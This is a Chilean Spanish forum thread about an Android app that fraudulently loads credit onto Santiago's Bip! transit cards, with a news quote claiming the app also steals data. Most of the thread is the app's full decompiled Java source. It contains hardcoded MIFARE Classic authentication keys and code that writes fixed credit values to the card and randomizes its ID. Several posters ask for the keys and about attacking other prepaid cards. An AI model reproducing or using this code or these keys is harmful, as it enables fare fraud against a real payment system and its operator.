Follow along with the video below to see how to install our site as a web app on your home screen.
Nota: This feature currently requires accessing the site using the built-in Safari browser.
El programa te cambia el ID de la Tarjeta si que tampoco es validoNo le veo tanto futuro a la wea... es cosa de que la misma gente de transantiago vea los logs o tracking (si es que tienen) masivamente de todas las tarjetas recargadas en puntos que para el sistema figuran como válidos. Luego eliminar todas las cargas en donde el punto de recarga no sea válido y bloquear la tarjeta por codigo, independientemente de si la ultima carga fue legal o no. Aunque si no tienen sumo cuidado en eso, van a dejar una cagada aún más grande de la que tenían
El tema es que si no parchan eso, ahora sí que el sistema se va a la mierda. Va a pasar lo mismo que con los celulares antiguamente, se va a poner un weon en el bio bio con un equipo listo, te va a cobrar 10.000 y te va a cargar 20.000
es falsoADVIERTE ROBO DE DATOS
Tras conocerse la noticia, el ingeniero en software especializado en seguridad, Paulo Triviño, se comunicó con BioBioChile para dar a conocer un código malicioso dentro de la aplicación, que roba datos privados del usuario y su celular.
“En su código está incluido un exploit que al instalar el aplicativo, te vulnera la seguridad del celular“, afirma Triviño, quien agrega que esto permite el robo de claves de Gmail, Twitter y Facebook.
“Esto es hacking de ingeniería social. Te doy y te quito. A muchos la aplicación nunca les funcionara pero robará toda su información personal (…) Una aplicación de este tipo en las redes informales se tranza sobre los 1000 dólares. Por la efectividad de capturar mucha info”, agrega.
Así entonces, quienes hayan bajado e instalado la app, deben cambiar sus claves para sufrir más vulneraciones.
Fuente: BioBioChile http://www.biobiochile.cl/2014/10/1...ero-de-forma-fraudulenta-en-tarjeta-bip.shtml
No tengo acceso al codigo fuente para confirmar esto...
pero me tinca que es puro cuento para que no la usen, aunque si es verdad que lo dijo en twuiter un weon que andie conoce.
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: braces fieldsfirst space lnc
package com.example.puntobip;
import android.app.Activity;
import android.app.AlertDialog;
import android.app.PendingIntent;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.res.Resources;
import android.nfc.NfcAdapter;
import android.nfc.Tag;
import android.nfc.tech.MifareClassic;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.TextView;
import android.widget.Toast;
import java.io.IOException;
import java.util.Random;
// Referenced classes of package com.example.puntobip:
// TapDialog
public class MainActivity extends Activity
{
private final byte DATA_CARGA_B21[];
private final byte DATA_CARGA_B22[];
private final int DIALOG_CARGAR = 2;
private final int DIALOG_NUMERO = 3;
private final int DIALOG_SALDO = 1;
private final byte KEY_B_SECTOR_0[] = {
31, -62, 53, -84, 19, 9
};
private final byte KEY_B_SECTOR_8[] = {
100, -29, -63, 3, -108, -62
};
private IntentFilter mFilters[];
private NfcAdapter mNfcAdapter;
private PendingIntent mPendingIntent;
private String mTechList[][];
private TapDialog tapDialog;
public MainActivity()
{
byte abyte0[] = new byte[16];
abyte0[0] = 16;
abyte0[1] = 39;
abyte0[4] = -17;
abyte0[5] = -40;
abyte0[6] = -1;
abyte0[7] = -1;
abyte0[8] = 16;
abyte0[9] = 39;
abyte0[12] = 33;
abyte0[13] = -34;
abyte0[14] = 33;
abyte0[15] = -34;
DATA_CARGA_B21 = abyte0;
byte abyte1[] = new byte[16];
abyte1[0] = 16;
abyte1[1] = 39;
abyte1[4] = -17;
abyte1[5] = -40;
abyte1[6] = -1;
abyte1[7] = -1;
abyte1[8] = 16;
abyte1[9] = 39;
abyte1[12] = 34;
abyte1[13] = -35;
abyte1[14] = 34;
abyte1[15] = -35;
DATA_CARGA_B22 = abyte1;
}
private String formatMoneda(long l)
{
StringBuilder stringbuilder = new StringBuilder("$");
Object aobj[] = new Object[1];
aobj[0] = Long.valueOf(l);
return stringbuilder.append(String.format("%,d", aobj)).toString();
}
private void inicializarNFC()
{
mNfcAdapter = NfcAdapter.getDefaultAdapter(this);
if (mNfcAdapter == null)
{
Toast.makeText(this, "Este dispositivo no soporta NFC.", 1).show();
finish();
return;
}
if (!mNfcAdapter.isEnabled())
{
AlertDialog alertdialog = (new android.app.AlertDialog.Builder(this)).create();
alertdialog.setTitle("NFC deshabilitado");
alertdialog.setMessage("Su NFC est\341 deshabilitado.\nIngrese a las opciones de configuraci\363n y activelo.");
alertdialog.show();
}
mPendingIntent = PendingIntent.getActivity(this, 0, (new Intent(this, getClass())).addFlags(0x20000000), 0);
IntentFilter intentfilter = new IntentFilter("android.nfc.action.TECH_DISCOVERED");
String as[][];
String as1[];
try
{
intentfilter.addDataType("*/*");
}
catch (android.content.IntentFilter.MalformedMimeTypeException malformedmimetypeexception)
{
throw new RuntimeException("error", malformedmimetypeexception);
}
mFilters = (new IntentFilter[] {
intentfilter
});
as = new String[1][];
as1 = new String[1];
as1[0] = android/nfc/tech/MifareClassic.getName();
as[0] = as1;
mTechList = as;
}
private long leToNumeric(byte abyte0[], int i)
{
long l = 0L;
int j = 0;
do
{
if (j >= i)
{
return l;
}
l += (255L & (long)abyte0[j]) << j * 8;
j++;
} while (true);
}
private String leToNumericString(byte abyte0[], int i)
{
return String.valueOf(leToNumeric(abyte0, i));
}
private void showTapDialog(String s, int i)
{
if (tapDialog == null)
{
tapDialog = new TapDialog(this);
tapDialog.setCanceledOnTouchOutside(false);
}
tapDialog.setTitle(s);
tapDialog.setTag(i);
tapDialog.show();
}
public void onCambiarNumero(View view)
{
showTapDialog(getResources().getString(0x7f0a0010), 3);
}
public void onCargarSaldo(View view)
{
showTapDialog(getResources().getString(0x7f0a000f), 2);
}
protected void onCreate(Bundle bundle)
{
super.onCreate(bundle);
setContentView(0x7f030018);
showTapDialog(getResources().getString(0x7f0a000e), 1);
inicializarNFC();
}
protected void onNewIntent(Intent intent)
{
if (!"android.nfc.action.TECH_DISCOVERED".equals(intent.getAction())) goto _L2; else goto _L1
_L1:
MifareClassic mifareclassic = MifareClassic.get((Tag)intent.getParcelableExtra("android.nfc.extra.TAG"));
mifareclassic.connect();
if (!tapDialog.isShowing()) goto _L4; else goto _L3
_L3:
tapDialog.getTag();
JVM INSTR tableswitch 2 3: default 68
// 2 236
// 3 331;
goto _L4 _L5 _L6
_L4:
TextView textview1;
TextView textview2;
TextView textview = (TextView)findViewById(0x7f05003d);
textview1 = (TextView)findViewById(0x7f05003e);
textview2 = (TextView)findViewById(0x7f05003f);
textview.setText(leToNumericString(mifareclassic.getTag().getId(), 4));
if (!mifareclassic.authenticateSectorWithKeyB(0, KEY_B_SECTOR_0)) goto _L8; else goto _L7
_L7:
byte abyte0[] = mifareclassic.readBlock(1);
byte abyte1[] = new byte[4];
abyte1[0] = abyte0[4];
abyte1[1] = abyte0[5];
abyte1[2] = abyte0[6];
abyte1[3] = abyte0[7];
textview1.setText(leToNumericString(abyte1, 4));
_L9:
if (!mifareclassic.authenticateSectorWithKeyB(8, KEY_B_SECTOR_8))
{
break MISSING_BLOCK_LABEL_459;
}
textview2.setText(formatMoneda(leToNumeric(mifareclassic.readBlock(33), 2)));
_L10:
Exception exception;
Exception exception1;
try
{
mifareclassic.close();
}
catch (IOException ioexception2) { }
_L2:
tapDialog.dismiss();
return;
_L5:
if (!mifareclassic.authenticateSectorWithKeyB(8, KEY_B_SECTOR_8))
{
break MISSING_BLOCK_LABEL_310;
}
mifareclassic.writeBlock(33, DATA_CARGA_B21);
mifareclassic.writeBlock(34, DATA_CARGA_B22);
goto _L4
exception1;
Log.e("error", exception1.getLocalizedMessage());
Toast.makeText(this, exception1.getLocalizedMessage(), 1).show();
try
{
mifareclassic.close();
}
catch (IOException ioexception1) { }
goto _L2
Toast.makeText(this, "error autenticando sector 0x21", 1).show();
goto _L4
exception;
byte abyte2[];
Random random;
try
{
mifareclassic.close();
}
catch (IOException ioexception) { }
throw exception;
_L6:
label0:
{
if (!mifareclassic.authenticateSectorWithKeyB(0, KEY_B_SECTOR_0))
{
break label0;
}
abyte2 = mifareclassic.readBlock(1);
random = new Random();
abyte2[4] = (byte)(0 + random.nextInt(256));
abyte2[5] = (byte)(0 + random.nextInt(256));
abyte2[6] = (byte)(0 + random.nextInt(256));
abyte2[7] = (byte)(0 + random.nextInt(256));
mifareclassic.writeBlock(1, abyte2);
}
goto _L4
Toast.makeText(this, "error autenticando sector 0x00", 1).show();
goto _L4
_L8:
Toast.makeText(this, "error autenticando sector 0x00", 1).show();
goto _L9
Toast.makeText(this, "error autenticando sector 0x21", 1).show();
goto _L10
}
protected void onPause()
{
super.onPause();
mNfcAdapter.disableForegroundDispatch(this);
}
protected void onResume()
{
super.onResume();
mNfcAdapter.enableForegroundDispatch(this, mPendingIntent, mFilters, mTechList);
}
}
decompilar??
la compilacion coincide en algoritmos a la criptografia , sino mas seguro aun
asi que suerte con decompilarlo!!!
quien tiene un respaldo que convide
Yo lo miré compadrito y mi conclusión fue:Revisando el código no se en ninguna parte código fraudulento como para sacar tus datos del telefono se ve "Limpia" alguien más miro el código por casualidad?
esta wea de falla se nombro hace mucho tiempo y sonda no fue capaz de mover la raja, lo que pasa ahora es que los simios de portalflaite empezaron a gritar a viva voz una información que ya se sabiasip, pero si no supiera la wea hubiera pasado piola y todos felices wn.
lo unico bueno es que los de sonda van a mover la raja pa arreglar la wea
X2Alguien tendría la gentileza de extraer las Keys y pegarlas acá en numeros comunes y corrientes? Gracias
Y Pensar que debe por lo menos haber un weon en el mundo que debe cachar la wea de las tarjetas de creditos y se debe hacer cagar comprando weas tontas xD
No sirve porque ese se valida con otro sistema interno, el numero de deco y tarjeta solo sirven para "subir" al numero de cliente que es donde esta el parque (productos contratados, etc).tengo una duda.. que otra tarjeta utiliza el mismo sistema que las bip?
sera posible entrar a otras tarjetas? por ejemplo las tarjetas de los decodificadores por ejemplo para cargar saldo por ejemplo en las tarjetas de directv prepago o algo por el estilo?
Puta y tantos millones de pesos invertidos y seguiran invirtiendose en un sistema donde cualquiera se lo puede cagar
Ahora mas que nunca maldigo al weon de Lagos